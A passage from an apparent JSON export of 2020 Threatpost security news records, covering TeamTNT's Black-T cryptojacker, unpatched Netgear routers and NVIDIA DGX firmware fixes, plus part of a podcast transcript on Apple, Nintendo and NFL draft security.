soon.\n\nIn August, [TeamTNT was identified by researchers](<https://threatpost.com/aws-cryptojacking-worm-cloud/158427/>) as the first cryptojacking group to specifically target AWS. With increasingly sophisticated TTPs, the cybercriminal gang appears to be gaining steady momentum. Just last month, TeamTNT was discovered to have been leveraging a common open-source cloud monitoring tool called [Weave Scope, to infiltrate the cloud](<https://threatpost.com/teamtnt-remote-takeover-cloud-instances/159075/>) and execute commands without breaching the server.\n\nBlack-T represents a notable jump forward in the operation\u2019s sophistication, researchers said.\n\nOnce deployed, the first order of business for Black-T is to disable any other malware competing for processing power, including Kinsing, Kswapd0, ntpd miner, redis-backup miner, auditd miner, Migration miner, the Crux worm and Crux worm miner. Ironically, the fact that TeamTNT identified these competitors in their malware gives security professionals a critical heads-up to be on the lookout for potential threats from these groups, Unit 42 said.\n\nThis kind of cyberjacking turf warfare isn\u2019t new, but it appears to be accelerating.\n\n\u201cThe battle for cloud resources will continue well into the future,\u201d Nathaniel Quist, senior threat researcher for Unit 42 said. \u201cIn the past, attacker groups like [Rocke](<https://unit42.paloaltonetworks.com/malware-used-by-rocke-group-evolves-to-evade-detection-by-cloud-security-products/>) and [Pacha](<https://www.paloaltonetworks.com/resources/research/digital-executive-summary-unit-42-cloud-threat-report-spring-2020>) would battle for resources. TeamTNT is battling with Kinsing malware and Crux worm today. I believe that this battle for resources will increase and attacker groups will look for other opportunities to use cloud resources. We can see this now with TeamTNT collecting passwords and AWS credentials in an attempt to expand and maintain a cloud presence.\u201d\n\nAfter it eliminates the competition, Black-T installs masscan, libpcap to listen to various resources on the network, including pnscan, zgrab, Docker and jq (the latter is a flexible command-line JSON processor, according to Unit 42).\n\n\u201cTeamTNT is investing more resources into scanning operations, likely with the intent to identify and compromise more cloud systems,\u201d Quist added. \u201cZmap is a known open-source scanning solution and with the creation of zgrab, a GoLang tool written for zmap, it is attempting to capitalize on the added benefits of the Go programming language, such as speed and performance increases. It is likely that TeamTNT actors are attempting to refine their scanning capabilities to make them faster, more accurate and less resource-intensive.\u201d\n\nNext, Black-T fetches various downloads: Beta to create a new directory; the mimipy and mimipenquin password scraping tools; and the XMR mining software called bd.\n\n\u201cThe inclusion of memory password-scraping tools should be considered an evolution of tactics,\u201d Quist said. \u201cTeamTNT has already integrated the collection and exfiltration of AWS credentials from compromised cloud systems, which provides post-exploitation capabilities. By adding memory password-scraping capabilities, TeamTNT actors are increasing their chances in gaining persistence within cloud environments.\u201d\n\nThe use of [worms](<https://threatpost.com/worm-golang-malware-windows-payloads/156924/>) like masscan or pnscan by TeamTNT isn\u2019t new, but Unit 42 noticed Black-T adds a new scanning port. Researchers wonder whether this signals the group has figured out how to target Android devices as well.\n\nAs remote work and cost savings continue to drive computing to the cloud, more groups like TeamTNT are sure to emerge ready to take advantage, according to Quist. Admins should take steps to ensure that [Docker](<https://threatpost.com/doki-backdoor-docker-servers-cloud/157871/>) and daemon APIs, as well as any other sensitive network services, aren\u2019t exposed, so that the cloud can be protected from the next evolution of cloud cryptojackers, he added.\n\n**[On October 14 at 2 PM ET](<https://threatpost.com/webinars/retail-security-magecart-and-the-rise-of-retail-security-threats/?utm_source=ART&utm_medium=ART&utm_campaign=oct_webinar>) Get the latest information on the rising threats to retail e-commerce security and how to stop them. [Register today](<https://threatpost.com/webinars/retail-security-magecart-and-the-rise-of-retail-security-threats/?utm_source=ART&utm_medium=ART&utm_campaign=oct_webinar>) for this FREE Threatpost webinar, \u201c[Retail Security: Magecart and the Rise of e-Commerce Threats.](<https://threatpost.com/webinars/retail-security-magecart-and-the-rise-of-retail-security-threats/?utm_source=ART&utm_medium=ART&utm_campaign=oct_webinar>)\u201d Magecart and other threat actors are riding the rising wave of online retail usage and racking up big numbers of consumer victims. Find out how websites can avoid becoming the next compromise as we go into the holiday season. Join us Wednesday, Oct. 14, 2-3 PM ET for this [LIVE ](<https://threatpost.com/webinars/retail-security-magecart-and-the-rise-of-retail-security-threats/?utm_source=ART&utm_medium=ART&utm_campaign=oct_webinar>)webinar. **\n", "cvss3": {}, "published": "2020-10-05T19:47:05", "type": "threatpost", "title": "Black-T Malware Emerges From Cryptojacker Group TeamTNT", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-5135"], "modified": "2020-10-05T19:47:05", "id": "THREATPOST:D4F89B42660582EFECA648A891470AD4", "href": "https://threatpost.com/blackt-cryptojacker-teamtnt/159853/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-14T22:21:48", "description": "UPDATE\n\nNetgear will not patch 45 router models that are vulnerable to a high-severity remote code execution flaw, the router company revealed last week. However, the company says that routers that won\u2019t receive updates are outdated or have reached EOL (End of Life).\n\nThe [remote code execution vulnerability](<https://www.zerodayinitiative.com/advisories/ZDI-20-712/>) in question, [which was disclosed June 15](<https://threatpost.com/netgear-zero-day-takeover-routers/156744/>), allows network-adjacent attackers to bypass authentication on vulnerable Netgear routers \u2013 sans authentication. The high-severity flaw affects 79 Netgear Wi-Fi routers and home gateway models \u2013 but Netgear says that 45 of those router models are outside of its \u201csecurity support period.\u201d\n\n\u201cNetgear has provided firmware updates with fixes for all supported products previously disclosed by ZDI and Grimm,\u201d Netgear said in a [press statement](<https://www.tomsguide.com/news/netgear-routers-no-fixes>). \u201cThe remaining products included in the published list are outside of our support window. In this specific instance, the parameters were based on the last sale date of the product into the channel, which was set at three years or longer.\u201d\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nA full list of the router models that won\u2019t be patched \u2013 as well as those that have fixes being rolled out \u2013 [is available on Netgear\u2019s website](<https://kb.netgear.com/000061982/Security-Advisory-for-Multiple-Vulnerabilities-on-Some-Routers-Mobile-Routers-Modems-Gateways-and-Extenders>).\n\n\u201cWhen we look at support windows, some of our products last five or six years, while others last only a few years,\u201d David Henry, senior vice president of Connected Home products at Netgear, told Threatpost. \u201cWhen we launch a product, as it gets old it goes into End of Life (EOL) and we stop building it and wind down [sales into the channel].\u201d\n\nFor instance, one such Modem Router that won\u2019t receive an update, the AC1450 series, is as old as 2009. Other router models, while newer, have reached EOL: The [R6200 and R6200v2](<https://kb.netgear.com/23748/R6200v2-FAQs>) wireless routers reached EOL in 2013 and 2016, respectively; while the Nighthawk [R7300DST](<https://www.amazon.com/NETGEAR-Nighthawk-Wireless-AC-Gigabit-Adapter/dp/B01HB56E5G>) wireless router reached EOL in the first half of 2017, said Henry.\n\nRegardless, Henry stressed that customers using both newer and older router models stay updated on security updates, as well as adopting best security practices, including turning off features like remote access or changing admin passwords (which he said is enforced by Netgear).\n\n\u201cI think it is really important that customers are paying attention to the updates we send out quarterly on our products,\u201d said Henry.\n\n## **The Flaw **\n\nAccording to the [Zero Day Initiative](<https://www.zerodayinitiative.com/advisories/ZDI-20-712/>) (ZDI), which first disclosed the issue, the flaw exists within the httpd service, which listens on TCP port 80 by default. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a fixed-length, stack-based buffer. An attacker can leverage this flaw to execute code in the context of root, according to ZDI.\n\n\u201cGiven the nature of the vulnerability, the only salient mitigation strategy is to restrict interaction with the service to trusted machines,\u201d according to ZDI. \u201cOnly the clients and servers that have a legitimate procedural relationship with the service should be permitted to communicate with it. This could be accomplished in a number of ways, most notably with firewall rules/whitelisting.\u201d\n\nThe flaw was reported to Netgear on Jan. 8, 2020, and on June 15, 2020 the security advisory for the flaw was publicly released without a patch available. Additionally, a PoC exploit was published by the [GRIMM blog on June 15.](<https://blog.grimm-co.com/2020/06/soho-device-exploitation.html>)\n\nNetgear has rolled out patches for 34 of the vulnerable models since the flaw was disclosed. That includes releasing \u201csecurity hotfixes\u201d for the models, which are fixes that are applied on top of existing, fully tested firmware.\n\n\u201cReleasing hotfixes allows Netgear to quickly update existing products and streamline the firmware verification process without going through full regression testing,\u201d according to Netgear. \u201cThese hotfixes are targeted at specific security issues and should have minimal effect on other areas of the product\u2019s code.\u201d\n\n## **Patch Timeline Backlash **\n\nSeveral security experts are criticizing Netgear for its patching policies and procedures. Brian Gorenc, senior director of vulnerability research and head of Trend Micro\u2019s Zero Day Initiative (ZDI) program, told Threatpost that the vulnerabilities disclosed represent some of the most severe bug categories available.\n\n\u201cUnfortunately, there are too many examples of vendors abandoning devices that are still in wide use \u2013 sometimes even when they are still available to purchase,\u201d Gorenc told Threatpost. \u201cMaybe we need to recommend manufacturers who support their products for longer \u2013 especially in our digitally connected lives. If we reward good communications and long-term support from vendors, maybe this abandonment problem will get better.\u201d\n\nZach Varnell, senior AppSec consultant at nVisium, said that the disclosure on this vulnerability \u201cappears to be more than generous since the researcher followed responsible disclosure practices and even gave an extension when asked for it.\u201d\n\n\u201cIt\u2019s unfortunate for anyone who owns one of those routers but that\u2019s the reality of product lifecycles,\u201d said Varnell. \u201cBasically everything \u2013 including software, toys, cars, electronics, appliances \u2013 will reach an age where their manufacturer will no longer support them. The duration of support varies widely and software tends to be on the shorter side since new development is done much more rapidly than hardware.\u201d\n\n\u201cConsumers should always ensure their devices are still supported by manufacturers and check the available support before purchasing a new device,\u201d said Gorenc.\n\nVulnerabilities in routers have been discovered several times over the past year. In March, [Netgear warned users](<https://threatpost.com/critical-netgear-bug-impacts-nighthawk-router/153445/>) of a critical remote code execution bug that could allow an unauthenticated attacker to take control of its Wireless AC Router Nighthawk (R7800) hardware running firmware versions prior to 1.0.2.68. In July, a pair of [flaws in ASUS routers](<https://threatpost.com/asus-home-router-bugs-snooping-attacks/157682/>) for the home were uncovered that could allow an attacker to compromise the devices \u2013 and eavesdrop on all of the traffic and data that flows through them.\n\n_This article was updated on Aug. 4 at 11:30 am ET with further comments from Netgear. _\n\n_**Complimentary Threatpost Webinar**__: Want to learn more about Confidential Computing and how it can supercharge your cloud security? This webinar \u201c**[Cloud Security Audit: A Confidential Computing Roundtable](<https://attendee.gotowebinar.com/register/3844090971254297614?source=art>)**\u201d brings top cloud-security experts from Microsoft and __Fortanix together to explore how **Confidential Computing** is a game changer for securing dynamic cloud data and preventing IP exposure. Join us **[Wednesday Aug. 12 at 2pm ET](<https://attendee.gotowebinar.com/register/3844090971254297614?source=art>) **for this** FREE **live webinar with Dr. David Thaler, software architect, Microsoft and Dr Richard Searle, security architect, Fortanix \u2013 both with the Confidential Computing Consortium. **[Register Now](<https://attendee.gotowebinar.com/register/3844090971254297614?source=art>)**._\n\nWrite a comment\n\n**Share this article:**\n\n * [Vulnerabilities](<https://threatpost.com/category/vulnerabilities/>)\n * [Web Security](<https://threatpost.com/category/web-security/>)\n", "cvss3": {}, "published": "2020-08-03T19:03:46", "type": "threatpost", "title": "Netgear Won't Patch 45 Router Models Vulnerable to Serious Flaw", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-5135"], "modified": "2020-08-03T19:03:46", "id": "THREATPOST:9AADE8E4BD604BE3415C6DD56ECA3640", "href": "https://threatpost.com/netgear-wont-patch-45-router-models-vulnerable-to-serious-flaw/157977/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-29T23:39:12", "description": "NVIDIA released a patch for a critical bug in its high-performance line of DGX servers that could open the door for a remote attacker to take control of and access sensitive data on systems typically operated by governments and Fortune-100 companies.\n\nIn all, NVIDIA [issued nine patches](<https://nvidia.custhelp.com/app/answers/detail/a_id/5010>), each fixing flaws in firmware used by DGX high-performance computing (HPC) systems, which are used for processor-intensive artificial intelligence (AI) tasks, machine learning and data modeling. All of the flaws are tied to its own firmware that runs on its DGX AMI baseboard management controller (BMC), the brains behind a remote monitoring service servers.\n\n\u201cAttacks can be remote (in case of internet connectivity), or if bad guys can root one of the boxes and get access to the BMC they can use the out of band management network to PWN the entire datacenter,\u201d wrote researcher Sergey Gordeychik who is credited for finding the bugs. \u201cIf you have access to OOB, it is game is over for the target.\u201d \n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nGiven the high-stake computing jobs typically running on the HPC systems, the researcher noted an adversary exploiting the flaw could \u201cpoison data and force models to make incorrect predictions or infect an AI model.\u201d\n\n## **No Patch Until 2021 for One Bug **\n\nNVIDIA said a patch fixing one high-severity bug (CVE\u20112020\u201111487), specifically impacting its DGX A100 server line, would not be available until the second quarter of 2021. The vulnerability is tied to a hard-coded RSA 1024 key with weak ciphers that could lead to information disclosure. A fix for the same bug (CVE\u20112020\u201111487), impacting other DGX systems (DGX-1, DGX-2) is available.\n\n\u201cTo mitigate the security concerns,\u201d NVIDIA wrote, \u201climit connectivity to the BMC, including the web user interface, to trusted management networks.\u201d\n\n## **Bugs Highlight Weaknesses in AI and ML Infrastructure**\n\n\u201cWe found a number of vulnerable servers online, which triggered our research,\u201d the researcher told Threatpost. The bugs were disclosed Wednesday and presented as part of a [presentation](<https://codeblue.jp/2020/en/speakers/?content=undefined>) \u201c[Vulnerabilities of Machine Learning Infrastructure](<https://codeblue.jp/2020/en/speakers/>)\u201d at [CodeBlue 2020](<https://codeblue.jp/2020/en/>), a security conference in Tokyo, Japan.\n\nDuring the session Gordeychik demonstrated how NVIDIA DGX GPU servers used in machine learning frameworks (Pytorch, Keras and Tensorflow), data processing pipelines and applications such as medical imaging and face recognition powered CCTV \u2013 could be tampered with by an adversary.\n\nThe researcher noted, other vendors are also likely impacted. \u201cInteresting thing here is the supply chain. NVIDIA uses a BMC board by Quanta Computers, which is based on AMI software. So to fix issues [NVIDIA] had to push several vendors to get a fix.\n\nThose vendors include:\n\n * IBM (BMC Advanced System Management)\n * Lenovo (ThinkServer Management Module)\n * Hewlett-Packard Enterprise Megarac\n * Mikrobits (Mikrotik)\n * Netapp\n * ASRockRack IPMI\n * ASUS ASMB9-iKVM\n * DEPO Computers\n * TYAN Motherboard\n * Gigabyte IPMI Motherboards\n * Gooxi BMC\n\n## **Nine CVEs**\n\nAs for the actual patches issued by NVIDIA on Wednesday, the most serious is tracked as CVE\u20112020\u201111483 and is rated critical. \u201cNVIDIA DGX servers contain a vulnerability in the AMI BMC firmware in which the firmware includes hard-coded credentials, which may lead to elevation of privileges or information disclosure,\u201d according to the security bulletin.\n\nVulnerable NVIDIA DGX server models impacted include DGX-1, DGX-2 and DGX A100.\n\nFour of the NVIDIA bugs were rated high-severity (CVE\u20112020\u201111484, CVE\u20112020\u201111487, CVE\u20112020\u201111485, CVE\u20112020\u201111486) with the most serious of the four tracked as [CVE\u20112020\u201111484](<https://nvidia.custhelp.com/app/answers/detail/a_id/5010>). \u201cNVIDIA DGX servers contain a vulnerability in the AMI BMC firmware in which an attacker with administrative privileges can obtain the hash of the BMC/IPMI user password, which may lead to information disclosure,\u201d the chipmaker wrote.\n\nThree of the other patched vulnerabilities were rated medium severity and one low.\n\n\u201cHackers are well aware of AI and ML infrastructure issues and use ML infrastructure in attacks,\u201d Gordeychik said.\n\n**Hackers Put Bullseye on Healthcare: [On Nov. 18 at 2 p.m. EDT](<https://threatpost.com/webinars/2020-healthcare-cybersecurity-priorities-data-security-ransomware-and-patching/?utm_source=ART&utm_medium=ART&utm_campaign=Nov_webinar>) find out why hospitals are getting hammered by ransomware attacks in 2020. [Save your spot for this FREE webinar](<https://threatpost.com/webinars/2020-healthcare-cybersecurity-priorities-data-security-ransomware-and-patching/?utm_source=ART&utm_medium=ART&utm_campaign=Nov_webinar>) on healthcare cybersecurity priorities and hear from leading security voices on how data security, ransomware and patching need to be a priority for every sector, and why. Join us Wed., Nov. 18, 2-3 p.m. EDT for this [LIVE](<https://threatpost.com/webinars/2020-healthcare-cybersecurity-priorities-data-security-ransomware-and-patching/?utm_source=ART&utm_medium=ART&utm_campaign=Nov_webinar>), limited-engagement webinar.**\n", "cvss3": {}, "published": "2020-10-29T23:15:17", "type": "threatpost", "title": "NVIDIA Patches Critical Bug in High-Performance Servers", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-5135"], "modified": "2020-10-29T23:15:17", "id": "THREATPOST:7229E2AD26BA4F6395ACBFE184C783EF", "href": "https://threatpost.com/nvidia-patches-critical-bug-in-hpc/160762/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-10-14T22:26:07", "description": "For the week ended April 24, Threatpost editors discuss the hottest cybersecurity news stories, including:\n\n * Apple [zero days disclosed](<https://threatpost.com/apple-patches-two-ios-zero-days-abused-for-years/155042/>) in the iPhone iOS that researchers say have been exploited for years. Meanwhile, [Apple has pushed back](<https://threatpost.com/apple-pushes-back-against-zero-day-exploit-claims/155108/>) and said there\u2019s no evidence to support such activity.\n * Nintendo [confirming that](<https://threatpost.com/nintendo-confirms-breach-of-160000-accounts/155110/>) over 160,000 accounts have been hacked, due to attackers abusing a legacy login system (NNID).\n * With the [NFL\u2019s virtual draft](<https://threatpost.com/nfl-tackles-cybersecurity-2020-draft-day/155004/>) kicking off this week, security researchers and teams have been sounding off on security issues leading to data theft or denial of service attacks.\n\n[Download direct here](<http://traffic.libsyn.com/digitalunderground/news_wrap_apr_24_3.mp3>), or listen to the podcast below.\n\n[\n\n](<http://iframe%20style=border:%20none%20src=//html5-player.libsyn.com/embed/episode/id/14130716/height/360/theme/legacy/thumbnail/yes/direction/backward/%20height=360%20width=100%%20scrolling=no%20%20allowfullscreen%20webkitallowfullscreen%20mozallowfullscreen%20oallowfullscreen%20msallowfullscreen/iframe>)\n\n_Below find a lightly edited transcript of the Threatpost news wrap._\n\n**Lindsey O\u2019Donnell-Welch**: Hello everyone, welcome back to the [Threatpost news wrap](<https://threatpost.com/category/podcasts/>). You\u2019ve got the Threatpost team here today to discuss this week\u2019s top cyber security news, including myself, Lindsey O\u2019Donnell-Welch and Threatpost editors Tom Spring and Tara Seals. Tom and Tara, happy Friday.\n\n**Tom Spring**: Hey!\n\n**Tara Seals: **Hey, Lindsey. How are you?\n\n**Lindsey: **Good. There\u2019s been a lot of news from this week that we need to unpack. We\u2019ve had leaked source code, Apple zero days, security issues around the NFL draft. So, Tom, I mean, starting with the Apple zero days, that was kind of a huge news item of the week, and there was some back and forth, and I think the most recent thing, was Apple having a statement come out today about the zero days. Can you kind of give us a sense of what that was all about?\n\n**Tom:** Well, sure, sure. It\u2019s an evolving story. And it started a couple days ago when a number of researchers and I\u2019m probably gonna mispronounce the name of the security firm, ZecOps or something along those lines -I can never pronounce these names \u2013 But anyways, they found two zero days, or what they claimed are two zero days that are very, very troubling when described. An attacker can send an email to an iOS device. And if Apple\u2019s default mail program receives that message, there are two vulnerabilities \u2013 an out of bounds write vulnerability and a heap overflow bug \u2013 that kick in when this specially crafted message arrives. In very simple terms, the bugs impact the way that the mail program processes memory. And I won\u2019t get into the technical aspects of it, we\u2019ve written about it, it\u2019s on Threatpost. But essentially, the hackers can use this to either extract data from the mailbox itself, and or combine the flaw to actually take over the device or take control of the device. This was something that was very shocking considering that any modern patched version of the iOS was vulnerable to this attack. The researchers said that this is an attack that\u2019s been used in the wild in a number of targeted attacks by some APTs. And so that story goes. Apple did release a beta update to iOS. And it was reported a couple days ago. And it seemed to suggest Apple was kind of quiet at the time. But given that Apple had released a beta version of its iOS, it seemed that Apple was was not explicitly stating that there was a problem, but suggested it by sending out a patch. Now today, Apple is downplaying the impact of the bug and saying that it has found no evidence that that the bug, number one, has been used in the wild. And just to briefly, quote, Apple\u2019s statement released I believe was yesterday: \u201cWe have concluded these issues do not pose an immediate risk to our users. The researchers identified three issues in mail, but alone, they are insufficient to bypass iPhone or iPad protections. And we have found no evidence they were used against customers.\u201d So we have the classic he said, she said, and we\u2019ll see how this plays out. But it\u2019s high drama, once again with zero days, zero day claims and zero day denials.\n\n**Lindsey:** Yeah, it definitely seems like it is turning into kind of a he said-she said type of report. And it\u2019s interesting too, you know, just looking at ZecOp\u2019s report, they did kind of go into deep detail about the flaws being exploited in the wild. And I think they had mentioned that there were a number of different targets, including individuals from a Fortune 500 org in North America, and executives from a Japanese based carrier. So it is just kind of interesting that Apple is pushing about back against those specific claims that the bugs have been exploited for years. And I\u2019m curious to see kind of where this goes and whether the researchers respond back to Apple at all, and, you know, further kind of corroborate what they had written in the report.\n\n**Tom:** Yeah, well, you know, Apple has gotten some support from the research community. I believe that Google\u2019s Project Zero researchers have chimed in expressing some doubt on the ZecOps research. Meanwhile if anybody\u2019s worried there is the beta version of the iOS that you can download right now and I\u2019m sure we\u2019re going to be hearing more from Apple about them pushing out an update, a final update, for the iOS as well. But you know, I mean, I mean here again, you have Apple which is tight lipped won\u2019t comment and I mean, they have to put out a statement days after the the researchers come out with their their findings. From a reporter standpoint, it would be so nice [if Apple would open up a bigger dialogue](<https://threatpost.com/apple-upgrades-bug-bounty-program-adds-macs-1m-reward/147146/>), not only with journalists, but especially with researchers in terms of maybe helping them better understand what they found, the original research really, casted no doubt on their own research. I mean, why would they, but at least, you know, they could have tempered some of their research with some feedback from Apple. I\u2019m not too sure if they purposely left it out. But you know, historically speaking, it\u2019s tough for researchers to get to vendors to give a [full throated response to their research](<https://threatpost.com/google-bug-hunter-urges-apple-to-change-its-ios-security-culture/134842/>), but we shall be following this story. I\u2019m sure we might even see some interesting things happen over the weekend and Monday morning. We\u2019ll be watching carefully.\n\n**Tara**: I have a question Tom. Have there been any third party researchers that have taken a look at this and weighed in at all with an opinion?\n\n**Tom:** Well, Google Project Zero did. And they cast some doubt on the research itself. I\u2019m not aware of anybody else, I\u2019ve heard a lot of researchers comment on the zero days, but they were commenting in reaction to the actual research being released, they weren\u2019t commenting on, their own reverse engineering, the proof of concepts and dissecting the research itself. So, you know, there could be a lot more noise going out there. And again, this is a fast moving story, and it\u2019s evolving quickly. And we will be keeping a close eye on the Twittersphere of reliable researchers and reaching out to a lot of people on the phone and hopefully, we\u2019ll have a good solid update either over the weekend or ASAP to better assess the real threat here with these \u201czero days.\u201d\n\n**Lindsey: **Right. Well, that was definitely one of the bigger stories of this week. And actually another big story, I guess two similar stories kind of revolved around the gaming community. And one of those stories was Nintendo today, coming out and confirming that 160,000 accounts have been hacked.\n\n**Tom:** Yeah Lindsey, which Nintendo\u2019s accounts? Do we know? I mean, I\u2019m just thinking about my my son\u2019s different accounts with Nintendo. Do we know what platform or services may have been impacted?\n\n**Lindsey:** Yeah, so, basically over the past few weeks, gamers who are using the Nintendo Switch were reporting suspicious activities on their accounts. And they were basically going on Twitter and there were different posts on Reddit saying that unauthorized actors had been logging into their accounts using their PayPal or their payment card methods that were connected to the accounts and buying digital currency for like, online in-game systems. So like [Fortnite V-Bucks](<https://threatpost.com/fortnite-ransomware-masquerades-as-an-aimbot-game-hack/147549/>), etc, etc. This was reported over the past few weeks by various outlets, but Nintendo had stayed kind of silent about whether this was actually happening or what was behind this. And finally, in a statement today, it said that it first of all confirmed the attacks, it said that specifically 160,000 accounts were hacked, and it said the reason that this hack was occurring was because attackers were abusing the Nintendo Network ID legacy login system, which I don\u2019t know if you guys remember but that was from the Nintendo 3DS and Wii U console. That was what was primarily used to login and to buy digital currency for those accounts. So anyways, Nintendo was saying that this login ID was being linked to various Nintendo accounts for the switch. And somehow attackers were able to access the accounts tied to this legacy login system and were then able to access the linked Nintendo accounts for the Switch. And from there, they\u2019d have access to the different payment methods, and were able to make the in-game purchases. So Nintendo didn\u2019t provide any further details about how these accounts were specifically being accessed. But they did say that they were being obtained by some means other than their own service. So I know there had been theories about like credential stuffing or otherwise but that doesn\u2019t seem like it was the case here. So it\u2019s now disabled the NNID login service so that you can\u2019t use that anymore.\n\n**Tom:** Well, I\u2019ll hear from my son with if he\u2019s had trouble connecting, and I\u2019ll know what\u2019s going on.\n\n**Lindsey:** Yeah, yeah, I would check in and make sure.\n\n**Tom:** I wrote a [story about at Linksys, they had to reset their passwords](<https://threatpost.com/attacks-on-linksys-routers-trigger-mass-password-reset/154914/>). And I\u2019m a Linksys customer. And they assured me that every single Linksys customer had been notified. And then I was like, \u201cWell, hold on a minute. I\u2019m a Linksys customer, I haven\u2019t been notified.\u201d And they backtracked and said, \u201cwell, we\u2019re doing it in waves.\u201d So I take it with a grain of salt, when a lot of these companies say they\u2019ve implemented a fix \u2013 whether or not that fix is immediate or whether phases in over time. So I\u2019ll be interested to hear whether my son\u2019s actually having issues or not, or whether they\u2019ve reset passwords or whatnot.\n\n**Lindsey:** Yeah, well, it seems like a lot of companies can post the statement onto their Twitter accounts or on their website and think that\u2019s enough. But you\u2019d be surprised that the number of people who actually need the email notification to be notified of these hacks. So, but it did advise players to set up two factor authentication, of course, to add that extra layer of security to accounts. And it is also resetting the passwords for affected accounts. So hopefully, this problem will go away. I know it had been a widespread kind of issue for people who had been reporting about it online. So we\u2019ll see.\n\nThat was one of the news related to kind of gaming. The other one was the [discovery of leaked source code this week](<https://threatpost.com/valve-confirms-csgo-team-fortress-2-source-code-leak/155092/>) for two popular games that were published by Valve. Those were Counter Strike: Global Offensive and Team Fortress 2. And basically, that was a whole issue because the source code, if accessed, could lead to security issues or cheating, which probably isn\u2019t as serious, but you know, it\u2019s still a problem. And Valve, the developer and publisher of the two games, came out and basically said that the source code in question dates back to 2017, and was already part of an existing leak from 2018. But anyways, I think that goes to show that these security issues do continue to pop up in the gaming space. And there\u2019s such like a massive install base for gamers that this is just a [really lucrative area for cybercriminals](<https://threatpost.com/researcher-discloses-second-steam-zero-day-after-valve-bug-bounty-ban/147593/>) to be looking at.\n\n**Tara:** Yeah, I definitely think that\u2019s the point I was going to make is that, I think, Nintendo has 20 million active users or something like that. And these massive multiplayer games have millions of users to in some cases, and so, you know, I\u2019m surprised we don\u2019t care more about gamer hacking stuff to be honest.\n\n**Lindsey:** Yeah, definitely. I definitely agree, Tara. And so, and then Tara, you also had a very timely news story about the NFL Draft, which is virtual this year and kind of the security concerns that researchers and also teams were having with the event as it starts this week. What was kind of the top concerns there?\n\n**Tara: **Yeah, so the NFL Draft, obviously is a massive, massive event for the league every single year. This is for the sliver of the population that doesn\u2019t know about it, it\u2019s basically where you have pro teams that are looking at the people that are coming out of college and, you know, the Canadian league and some other places that you know, have not been signed to the pros yet, and they evaluate their stats and everything and then this is their opportunity to find new people to the roster. And so in the past this has been done in sort of public space and everybody kind of gets together and teams will congregate at their stadiums and war rooms and things like that. That\u2019s not possible. And so everybody is basically trying to do this with one to one links, you know, from their houses. So you have a head coach in his house or her house, and then you have, you know, the GM in their house and then obviously, all the players trying to tune in, the prospective players that is and so if you look at it, the communications footprint here, the distributed communications footprint is pretty massive. And so in order to bring everybody together to make this happen, there\u2019s a couple of different platforms to do that, one was Microsoft Teams, and then there\u2019s Zoom, you know, infamous Zoom, which clubs are using to communicate amongst themselves.\n\n**Lindsey:** The security issues here are really something that\u2019s good to be looking at right now, with something as big as this, and it\u2019s something that we\u2019ll also have to probably continue looking at for for the foreseeable future. But I also think kind of the technical logistics in the background are important too. And I saw on Twitter yesterday, there was like this [picture of Belichick looking at the draft from his house](<https://twitter.com/jeffphowe/status/1253504449244512257?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1253504449244512257&ref_url=https%3A%2F%2Fkasperskycontenthub.com%2Fthreatpost-global%2Fwp-admin%2Fpost.php%3Fpost%3D155122%26action%3Dedit>) in Nantucket and a bunch of people were, laughing about the fact that, questioning how he was able to get Wi-Fi on on Nantucket, and whether it was able to hold up and all these things. So I think, it\u2019s just so new that there\u2019s a lot of like questions and technical concerns there too.\n\n**Tara:** Yeah, it\u2019s kind of interesting because there are 100+ video feeds when you take into account you know, all the general managers, all the prospects which there are 58 different prospects and the coaches themselves and then plus that\u2019s not even including, you know, the individual underlings that are involved in the process. But yeah, the Belichick thing was really funny. And then also the [head coach of the Arizona Cardinals was all over Twitter](<https://twitter.com/nfldraftscout/status/1253478908487503873?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1253478908487503873&ref_url=https%3A%2F%2Fnesn.com%2F2020%2F04%2Fnfl-twitter-went-bananas-after-seeing-cardinals-kliff-kingburys-pad%2F>), it went totally viral yesterday, he has this sort of Bond villain layer in the Phoenix mountains vibe. It was all like gleaming white and like he\u2019s wearing, you know, Italian loafers. And he just looks at like an Armani ad or something. I mean, there\u2019s a lot of cultural fun stuff that goes along with this. But there\u2019s also a lot of, you know, legitimate cyber security concerns. And so, with the draft picks, you know, you wouldn\u2019t think of that as being sort of critical information, but it really is. And you consider that if a team\u2019s job strategy is leaked to another team, then that\u2019s obviously competitive and that can destroy a team season in theory. You also have, if these things are able to be intercepted, then it can be very useful for people in the online gambling world, for example, there\u2019s a lot of fraud that can be carried out with that. And so there are a few different things that can be done if job information falls into the wrong hands. And so that\u2019s really what they were concerned about. I did reach out to the NFL to find out what their take was on cyber security, and they wouldn\u2019t reveal what exactly they\u2019ve done. But they did say that they they are aware of the potential dangers, and I mean, the draft is going to continue through tomorrow. So, you know, remains to be seen if they successfully warded off any attacks or not.\n\n**Lindsey:** Right, I was about to ask if there have been any incidents so far, but I\u2019m sure that remains to be seen at this point. But yeah, I think that you know, obviously the the data itself in terms of team strategy and personnel plans is a big issue. And also I feel like denial of service could be an issue here too. And you know, launching a denial of service attack or even kicking people off.\n\n**Tara:** Yeah, I\u2019m so glad that you said that actually. Because that is that is one thing that one of the security researchers that I talked to had mentioned was that the denial of service aspect of this, obviously. So anybody who plays Fantasy Football is familiar with this, but you get a very short window of time to make your job spec and it\u2019s kind of a snooze, you lose if you don\u2019t do it in that time period, then you get passed over and you don\u2019t get to go back and redo it. So, you know, conceivably, an attacker could DDoS someone you know, a club and prevent them from making their draft pick and there would be no way for them to go back and remediate that really. So again, these are things that can make a pretty radical difference when it comes to the team\u2019s future. And of course, this is assuming that we\u2019re going to have an NFL season this year.\n\n**Lindsey:** We\u2019ll see. Fingers crossed. I really like that story. It\u2019s a fun and applicable story. And you know, 